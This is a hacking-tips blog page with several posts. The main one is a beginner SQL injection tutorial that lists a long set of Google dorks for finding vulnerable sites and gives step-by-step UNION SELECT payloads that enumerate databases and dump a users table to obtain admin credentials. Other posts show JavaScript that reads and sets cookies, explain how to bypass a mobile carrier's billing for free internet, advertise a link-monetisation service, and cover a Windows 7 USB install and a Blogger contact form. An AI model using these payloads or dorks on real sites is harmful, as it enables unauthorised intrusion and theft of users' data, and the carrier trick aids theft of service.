Javascript Injection : Fun with Javascripts

javascript Injection is Similar to CSRF vulnerability ,
its just for fun, but sometimes you can get cookies of vulnerable website by using Javascript injection,
Take a Look of javascript injection
[Note : working in Firefox Only]
Alert and Changing Title on Website 
Javascript: alert(document.title = "title name");
You can Chnage Title of website by putting this script in you browser
and you'll get a Alert too ..
Message On website on alert Box 
Javascript: alert("you message here");
use this script for more than one message
javascript: alert("First message"); alert("second message"); alert("Third message");

you can show you message on website by putting this script on browser URL box
Getting Cookies By javascripts
you can use these scripts to get and chnage cookies of website

alert(document.cookie);
javascript:void(document.cookie="Cookie_name=Cookie_value");
javascript:void(document.cookie="username=user123"); alert(document.cookie);
javascript:void(document.cookie="username=user123"); void(document.cookie="password=pass123"); alert(document.cookie);

Read more »

Use gp free internet on your pc - gpmms setting with tutorial for free internet

Today i am going to show you how you use grammen phone free internet.After stopping port 53 we found another way for cracking gp internet. ok here is the step -


First You Install Mozilla Firefox.
 Then Open Mozilla Firefox…….And Go To…Tools…Manu..

Now Click ….Option….Advanced…..Network….Setting….Mark Manual Proxy Configuration……



SSL Proxy – 10.128.001.002
Port- 8080


Now Creat A dial Up …Click …Start……Setting …… Control Panel…. Network Connection…..


Click.Creat a New Connection…..Next…Mark Connect To The Internet….Next….Mark Set Up My Connection Manually……..Next….Mark Connect Using A Dial Up Modem…..Next……

ISP Name – GP MMS
Phone Number - *99#
……………….Click Next……Finish…….. Click Dial……..And Connect Your GP Modem…

Then Open Your Mozilla Firefox Browser…. Type - https://google Or https://fishproxy.com/ And Enjoy GP Free Internet Your Computer Or Laptop.

Read more »

Start Earning With linkbucks.com

Its perfect time for earning some money from internet.You may find many PTC site for earning, But you can not earn much money from those site.Moreover Many of them are scam.They Will not pay you anything ! . But above all you can earn money from internet by working as a freelancer. You can also earn much money if you have a popular blog/website.Today i am going to tell you a good way of earning.

Linkbucks

Linkbucks is the first Internet advertising network to recognize that the interplay between websites and web users is the foundation of a successful viral campaign. Our network brings web users, websites, and marketers together in a way that is beneficial to everyone.

Publisher Payout Rates :

Here are some of our key benefits:

• Our publisher rates are some of the highest amongst our competitors.
• Linkbucks has paid out more than $1.2 Million USD since it opened its doors over 5 years ago.
• Most our competitors only pay for unique traffic while we pay for all your traffic.
• We accept adult-orientated publishers, something not found at our competitors.
• We offer a wide variety of ways to make money including multiple ad types.

GB	United Kingdom	$3.50
US	United States	$3.00
DK	Denmark	$2.50
NZ	New Zealand	$2.45
AU	Australia	$2.40
CA	Canada	$2.40
IL	Israel	$2.40
DE	Germany	$2.10
IE	Ireland	$2.10
HK	Hong Kong	$2.00
GR	Greece	$1.95
SE	Sweden	$1.95
BE	Belgium	$1.90
NL	Netherlands	$1.90
SG	Singapore	$1.90
FI	Finland	$1.80
ZA	South Africa	$1.80
FR	France	$1.70
AE	United Arab Emirates	$1.70
AT	Austria	$1.60
CY	Cyprus	$1.50
KR	Korea, Republic of	$1.50
NO	Norway	$1.50
PE	Peru	$1.50
ES	Spain	$1.40
CZ	Czech Republic	$1.30
JO	Jordan	$1.30
SK	Slovakia	$1.30
IT	Italy	$1.20
LV	Latvia	$1.20
SA	Saudi Arabia	$1.20
SI	Slovenia	$1.20
CH	Switzerland	$1.20
PL	Poland	$1.15
PT	Portugal	$1.15
IS	Iceland	$1.10
RO	Romania	$1.05
JP	Japan	$1.00
LU	Luxembourg	$1.00
EC	Ecuador	$0.90
RU	Russian Federation	$0.90
LT	Lithuania	$0.85
TR	Turkey	$0.85
CO	Colombia	$0.80
VE	Venezuela	$0.80
KE	Kenya	$0.78
IN	India	$0.76
AR	Argentina	$0.75
GN	Guinea	$0.75
MX	Mexico	$0.75
QA	Qatar	$0.70
TW	Taiwan, Province of China	$0.70
AZ	Azerbaijan	$0.68
BH	Bahrain	$0.68
MY	Malaysia	$0.65
BG	Bulgaria	$0.62
BI	Burundi	$0.60
HR	Croatia	$0.60
GE	Georgia	$0.60
IQ	Iraq	$0.60
MA	Morocco	$0.60
NR	Nauru	$0.60
OM	Oman	$0.60
PK	Pakistan	$0.60
LK	Sri Lanka	$0.60
UA	Ukraine	$0.60
AM	Armenia	$0.58
BR	Brazil	$0.58
EE	Estonia	$0.58
GH	Ghana	$0.58
KI	Kiribati	$0.58
MO	Macao	$0.58
NG	Nigeria	$0.58
PH	Philippines	$0.58
SC	Seychelles	$0.58
TG	Togo	$0.58
IO	British Indian Ocean Territory	$0.56
HU	Hungary	$0.56
MK	Macedonia, the Former Yugoslav Republic of	$0.56
CS	Serbia and Montenegro	$0.56
TZ	Tanzania, United Republic of	$0.56
TO	Tonga	$0.56
GF	French Guiana	$0.55
NU	Niue	$0.55
TV	Tuvalu	$0.55
CI	Cote D'Ivoire	$0.54
EG	Egypt	$0.54
ER	Eritrea	$0.54
PA	Panama	$0.54
AL	Albania	$0.50
AO	Angola	$0.50
BJ	Benin	$0.50
BN	Brunei Darussalam	$0.50
KH	Cambodia	$0.50
TD	Chad	$0.50
CL	Chile	$0.50
ET	Ethiopia	$0.50
LA	Lao People's Democratic Republic	$0.50
LR	Liberia	$0.50
LY	Libyan Arab Jamahiriya	$0.50
PW	Palau	$0.50
WS	Samoa	$0.50
SL	Sierra Leone	$0.50
SB	Solomon Islands	$0.50
TM	Turkmenistan	$0.50
UG	Uganda	$0.50
VI	Virgin Islands, U.s.	$0.50
ZW	Zimbabwe	$0.50
CG	Congo	$0.48
LS	Lesotho	$0.48
KY	Cayman Islands	$0.46
ID	Indonesia	$0.46
NF	Norfolk Island	$0.46
MP	Northern Mariana Islands	$0.46
RW	Rwanda	$0.46
SZ	Swaziland	$0.46
SO	Somalia	$0.45
AF	Afghanistan	$0.44
GU	Guam	$0.40
TH	Thailand	$0.40
FJ	Fiji	$0.38
GP	Guadeloupe	$0.36
DZ	Algeria	$0.24
AS	American Samoa	$0.24
AD	Andorra	$0.24
AI	Anguilla	$0.24
AQ	Antarctica	$0.24
AG	Antigua and Barbuda	$0.24
AW	Aruba	$0.24
BS	Bahamas	$0.24
BD	Bangladesh	$0.24
BB	Barbados	$0.24
BY	Belarus	$0.24
BZ	Belize	$0.24
BM	Bermuda	$0.24
BT	Bhutan	$0.24
BO	Bolivia	$0.24
BA	Bosnia and Herzegovina	$0.24
BW	Botswana	$0.24
BV	Bouvet Island	$0.24
BF	Burkina Faso	$0.24
CM	Cameroon	$0.24
CV	Cape Verde	$0.24
CF	Central African Republic	$0.24
CX	Christmas Island	$0.24
CC	Cocos (Keeling) Islands	$0.24
KM	Comoros	$0.24
CD	Congo, the Democratic Republic of the	$0.24
CK	Cook Islands	$0.24
CR	Costa Rica	$0.24
DJ	Djibouti	$0.24
DM	Dominica	$0.24
DO	Dominican Republic	$0.24
SV	El Salvador	$0.24
GQ	Equatorial Guinea	$0.24
FK	Falkland Islands (Malvinas)	$0.24
FO	Faroe Islands	$0.24
PF	French Polynesia	$0.24
TF	French Southern Territories	$0.24
GA	Gabon	$0.24
GM	Gambia	$0.24
GI	Gibraltar	$0.24
GL	Greenland	$0.24
GD	Grenada	$0.24
GT	Guatemala	$0.24
GW	Guinea-Bissau	$0.24
GY	Guyana	$0.24
HT	Haiti	$0.24
HM	Heard Island and Mcdonald Islands	$0.24
VA	Holy See (Vatican City State)	$0.24
HN	Honduras	$0.24
JM	Jamaica	$0.24
KZ	Kazakhstan	$0.24
KW	Kuwait	$0.24
KG	Kyrgyzstan	$0.24
LB	Lebanon	$0.24
LI	Liechtenstein	$0.24
MG	Madagascar	$0.24
MW	Malawi	$0.24
MV	Maldives	$0.24
ML	Mali	$0.24
MT	Malta	$0.24
MH	Marshall Islands	$0.24
MQ	Martinique	$0.24
MR	Mauritania	$0.24
MU	Mauritius	$0.24
YT	Mayotte	$0.24
FM	Micronesia, Federated States of	$0.24
MD	Moldova, Republic of	$0.24
MC	Monaco	$0.24
MN	Mongolia	$0.24
MS	Montserrat	$0.24
MZ	Mozambique	$0.24
NA	Namibia	$0.24
NP	Nepal	$0.24
AN	Netherlands Antilles	$0.24
NC	New Caledonia	$0.24
NI	Nicaragua	$0.24
NE	Niger	$0.24
PS	Palestinian Territory, Occupied	$0.24
PG	Papua New Guinea	$0.24
PY	Paraguay	$0.24
PN	Pitcairn	$0.24
PR	Puerto Rico	$0.24
RE	Reunion	$0.24
SH	Saint Helena	$0.24
KN	Saint Kitts and Nevis	$0.24
LC	Saint Lucia	$0.24
PM	Saint Pierre and Miquelon	$0.24
VC	Saint Vincent and the Grenadines	$0.24
SM	San Marino	$0.24
ST	Sao Tome and Principe	$0.24
SN	Senegal	$0.24
GS	South Georgia and the South Sandwich Islands	$0.24
SR	Suriname	$0.24
SJ	Svalbard and Jan Mayen	$0.24
TJ	Tajikistan	$0.24
TL	Timor-Leste	$0.24
TK	Tokelau	$0.24
TT	Trinidad and Tobago	$0.24
TN	Tunisia	$0.24
TC	Turks and Caicos Islands	$0.24
UM	United States Minor Outlying Islands	$0.24
UY	Uruguay	$0.24
UZ	Uzbekistan	$0.24
VU	Vanuatu	$0.24
VN	Viet Nam	$0.24
VG	Virgin Islands, British	$0.24
WF	Wallis and Futuna	$0.24
EH	Western Sahara	$0.24
YE	Yemen	$0.24
ZM	Zambia	$0.24
AX	Aland Islands	$0.24
MF	Saint Martin	$0.24
BL	Saint Barthelemy	$0.24
CN	China	$0.15
CU	Cuba	$0.00
IR	Iran, Islamic Republic of	$0.00
KP	Korea, Democratic People's Republic of	$0.00
MM	Myanmar	$0.00
SD	Sudan	$0.00
SY	Syrian Arab Republic	$0.00

 It Support both Adult and Non-adult sites

so what are you waiting for?

Start Earning >>>> CLICK HERE TO SIGN UP <<<

Read more »

Easy way of installing Window 7 using USB drive

Today i am going to share a very easy way of installing Window 7 using USB drive.It is very easy and secured method so you should not suffer any kinds of pain.lets start :D

"It's time to be smart with smart windows"

Installing windows 7 using USB drive


What are basic requirements ?
-----Windows 7 DVD
-----And a USB drive having minimum capacity of 4GB.


 What  are advantages if we install window 7 using flash drive ?

----First overall speed of the installation willl increase significantly.
----Carrying USB is more easy and convienient than DVD.
----It also become possible to install windows 7 on  that systems which are not having  DVD drives    such as Net book..


Steps of installing windows 7 using USB drive.
---- Insert USB
---- Run the command prompt as administrator. (Type cmd in start and right click on cmd and click on "run as administrator".)
----In the command prompt type the following command

     -DISKPART

 A new window will appear and execute the following commands in that new window.

 -LIST DISK

-SELECT DISK 1

-CLEAN

-CREATE PARTITION PRIMARY

-SELECT PARTITION 1

-ACTIVE

-FORMAT FS=NTFS

  (This process may take few seconds)

-ASSIGN

-EXIT

Do not  close the command prompt. Minimize it.

----Insert window 7 DVD .

----Maximize cmd and execute the following commands

-   N: CD BOOT   (hit enter Here "N" is my DVD drive letter write your one's here)

-   CD BOOT

-   BOOTSECT.EXE/NT60 O:  (Here "O" is my USB drive letter)

After entering the command this messages appear

                          Your USB device is ready for the boot. Now copy the content of DVD to the USB.

The thing you left to do is to enabling the USB boot options in the BIOS from CD-ROM or HDD.

Enjoy installing windows from USB . If any problem leave it in the comment section.

Read more »

SQL Injection Tutorial : A Step-by-Step Tutorial ( noob friendly )

Sql Injection is a common way for hacking.But its a master way because you can find many sites are sql vulnerable.

SQL injection is a code injection technique that exploits a security vulnerability occurring in the database layer of an application. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed. It is an instance of a more general class of vulnerabilities that can occur whenever one programming or scripting language is embedded inside another. SQL injection attacks are also known as SQL insertion attacks.

Step-by-Step tutorial for SQL Injection
Step 1: Find a website that is vulnerable to the attack. This is the first step in SQLi and like every other hack attack is the most time consuming, and is the only time consuming step. Once you get through this, rest is a cake-walk. Now, let us all know what kind of pages are vulnerable to this attack. We are providing you with a few dorks(google strings to find vulnerable sites). Though at the end of this post, we'll provide a list of vulnerable sites.



Dorks:
"inurl:index.php?catid="
"inurl:news.php?catid="
"inurl:index.php?id="
"inurl:news.php?id="
inurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:declaration_more.php?decl_id=
inurl:pageid=
inurl:games.php?id=
inurl:page.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:show.php?id=
inurl:staff_id=
inurl:newsitem.php?num=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:historialeer.php?num=
inurl:reagir.php?num=
inurl:Stray-Questions-View.php?num=
inurl:forum_bds.php?num=
inurl:game.php?id=
inurl:view_product.php?id=
inurl:newsone.php?id=
inurl:sw_comment.php?id=
inurl:news.php?id=
inurl:avd_start.php?avd=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:sql.php?id=
inurl:news_view.php?id=
inurl:select_biblio.php?id=
inurl:humor.php?id=
inurl:aboutbook.php?id=
inurl:ogl_inet.php?ogl_id=
inurl:fiche_spectacle.php?id=
inurl:communique_detail.php?id=
inurl:sem.php3?id=
inurl:kategorie.php4?id=
inurl:news.php?id=
inurl:index.php?id=
inurl:faq2.php?id=
inurl:show_an.php?id=
inurl:preview.php?id=
inurl:loadpsb.php?id=
inurl:opinions.php?id=
inurl:spr.php?id=
inurl:pages.php?id=
inurl:announce.php?id=
inurl:clanek.php4?id=
inurl:participant.php?id=
inurl:download.php?id=
inurl:main.php?id=
inurl:review.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:prod_detail.php?id=
inurl:viewphoto.php?id=
inurl:article.php?id=
inurl:person.php?id=
inurl:productinfo.php?id=
inurl:showimg.php?id=
inurl:view.php?id=
inurl:website.php?id=
inurl:hosting_info.php?id=
inurl:gallery.php?id=
inurl:rub.php?idr=
inurl:view_faq.php?id=
inurl:artikelinfo.php?id=
inurl:detail.php?ID=
inurl:index.php?=
inurl:profile_view.php?id=
inurl:category.php?id=
inurl:publications.php?id=
inurl:fellows.php?id=
inurl:downloads_info.php?id=
inurl:prod_info.php?id=
inurl:shop.php?do=part&id=
inurl:productinfo.php?id=
inurl:collectionitem.php?id=
inurl:band_info.php?id=
inurl:product.php?id=
inurl:releases.php?id=
inurl:ray.php?id=
inurl:produit.php?id=
inurl:pop.php?id=
inurl:shopping.php?id=
inurl:productdetail.php?id=
inurl:post.php?id=
inurl:viewshowdetail.php?id=
inurl:clubpage.php?id=
inurl:memberInfo.php?id=
inurl:section.php?id=
inurl:theme.php?id=
inurl:page.php?id=
inurl:shredder-categories.php?id=
inurl:tradeCategory.php?id=
inurl:product_ranges_view.php?ID=
inurl:shop_category.php?id=
inurl:transcript.php?id=
inurl:channel_id=
inurl:item_id=
inurl:newsid=
inurl:trainers.php?id=
inurl:news-full.php?id=
inurl:news_display.php?getid=
inurl:index2.php?option=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:newsone.php?id=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:sql.php?id=
inurl:aboutbook.php?id=
inurl:preview.php?id=
inurl:loadpsb.php?id=
inurl:pages.php?id=
inurl:material.php?id=
inurl:clanek.php4?id=
inurl:announce.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:viewapp.php?id=
inurl:viewphoto.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:review.php?id=
inurl:iniziativa.php?in=
inurl:curriculum.php?id=
inurl:labels.php?id=
inurl:story.php?id=
inurl:look.php?ID=
inurl:newsone.php?id=
inurl:aboutbook.php?id=
inurl:material.php?id=
inurl:opinions.php?id=
inurl:announce.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:tekst.php?idt=
inurl:newscat.php?id=
inurl:newsticker_info.php?idn=
inurl:rubrika.php?idr=
inurl:rubp.php?idr=
inurl:offer.php?idf=
inurl:art.php?idm=
inurl:title.php?id= 
and you can also write your own.

How to check if a webpage is vulnerable to this attack???
Once you execute the dorks and get the preferred search results. Say for example
hxxp://www.abcd.com/index.php?catid=1

Add a ' (apos) at the end of the URL. Such that the URL looks like
hxxp://www.abcd.com/index.php?catid=1'

If the page returns an SQL error, the page is vulnerable to SQLi. If it loads normally, leave the page and move on to the next site in the search result.

Typical errors you'll get after appending the apostrophe are:
Warning: mysql_fetch_array():
Warning: mysql_fetch_assoc():
Warning: mysql_numrows():
Warning: mysql_num_rows():
Warning: mysql_result():
Warning: mysql_preg_match():

Step 2:Once you find a vulnerable site, you need to enumerate the number of columns and those columns that are accepting the queries from you.

Append an 'order by' statement to the URL.
eg. hxxp://www.abcd.com/index.php?catid=1 order by 1

Continue increasing the number after order by till you get an error. So the highest number for which you do not get an error is the number of columns in the table. Now to know the column numbers which are accepting the queries.

Append an 'Union Select' statement to the URL. Also precede the number after "id=" with a hyphen or minus.
Say from the above step, you got that the table has 6 columns.
eg. hxxp://www.abcd.com/index.php?catid=-1 union select 1,2,3,4,5,6

Result of this query will be the column numbers that are accepting the queries. Say we get 2,3,4 as the result. Now we'll inject our SQL statements in one of these columns.

Step 3: Enumerating the SQL version
We'll use the mysql command @@version or version() to get the version of the db. We have to inject the command in one of the open columns. Say we use column number 2.

eg. hxxp://www.abcd.com/index.php?catid=-1 union select 1,@@version,3,4,5,6

You'll get the version of the database in the place  where you had got the number 2. If the starting of the version number is 5 or more, then you are good to go. If less move on to another site.

Step 4:  Expolit
To get list of databases:
hxxp://www.abcd.com/index.php?catid=-1 union select 1,group_concat(schema_name),3,4,5,6 from information_schema.schemata--

Result will display a list of databases on the site. Here on, we'll write the results we have got from our test.
Result: information_schema,vrk_mlm

To know the current database in use:
hxxp://www.abcd.com/index.php?catid=-1 union select 1,concat(database()),3,4,5,6--
Result: vrk_mlm

To get the current user:
hxxp://www.abcd.com/index.php?catid=-1 union select 1,concat(user()),3,4,5,6--
Result: vrk_4mlm@localhost

To get the tables:
hxxp://www.abcd.com/index.php?catid=-1 union select 1,group_concat(table_name),3,4,5,6 from information_schema.tables where table_schema=database()--
Result: administrator,category,product,users

We'll concentrate our attack on the users table.

To get the columns:
hxxp://www.abcd.com/index.php?catid=-1 union select 1,group_concat(column_name),3,4,5,6 from information_schema.columns where table_schema=database()--
Result:  admin_id,user_name,password,user_type,status,catID,catName,prodId,catID,prodName,prodDesc,
prodKeyword,prodPrice,prodImage,id,incredible_id,f_name,m_name,l_name,refered_by_id,
refered_direct_to_ids,refered_to_ids,no_of_direct_referals,credits,position,
email_id,password,edited_on,last_login,created_on,chain_number,phone,address

By lookin at the columns closely, and the order of the tables, we can conclude that starting from id,incredible_id are the columns belonging to the users table and we are interested in that.

Extract information:
union select group_concat(id,0x3a,incredible_id,0x3a,f_name,0x3a,m_name,0x3a,l_name,0x3a,refered_by_id,0
x3a,refered_direct_to_ids,0x3a) from vrk_mlm.users--

Now you will may find username and password of admin panel :D
Happy Hacking!!!

Read more »

easy way of adding contact page in blogger/blogspot site

Do you want to add a contact me page on your blogs? Contact page is good for visitors to contact the owner of blog and ask any question.In This tutorial i will show you the step by step method to create contact  page on blogger/blogspot.To create a contact form Go to Google drive and sign in. Now Click on Create and select Form. A form creation page will open, type the title of your form.
Now Type question title. The most common questions are

• Name,

• Email and comment etc. 

 Select question type text for name and Email and question type paragraph for comment. Now your form will look like this.

  

Now save the form and click on More action > Embed copy the html code.

Now You have created your form and copied the html code, now its time to make contact me page in blogger. Follow the instructions. Go to your blog and create a new page and select blank page.

Give post title Contact me. Go to HTML section and paste the code.( You can change the width of the page, You can find width in HTML code and change it. The default width is (760px). However you can change it. Publish your page. Your contact page is now live in your blog. To be notified by Email whenever someone submit a form, go back to Google drive and open your created contact me form, click on Tools > Notification rules. Here you can set Email notification.If You have any question leave your comment.

Read more »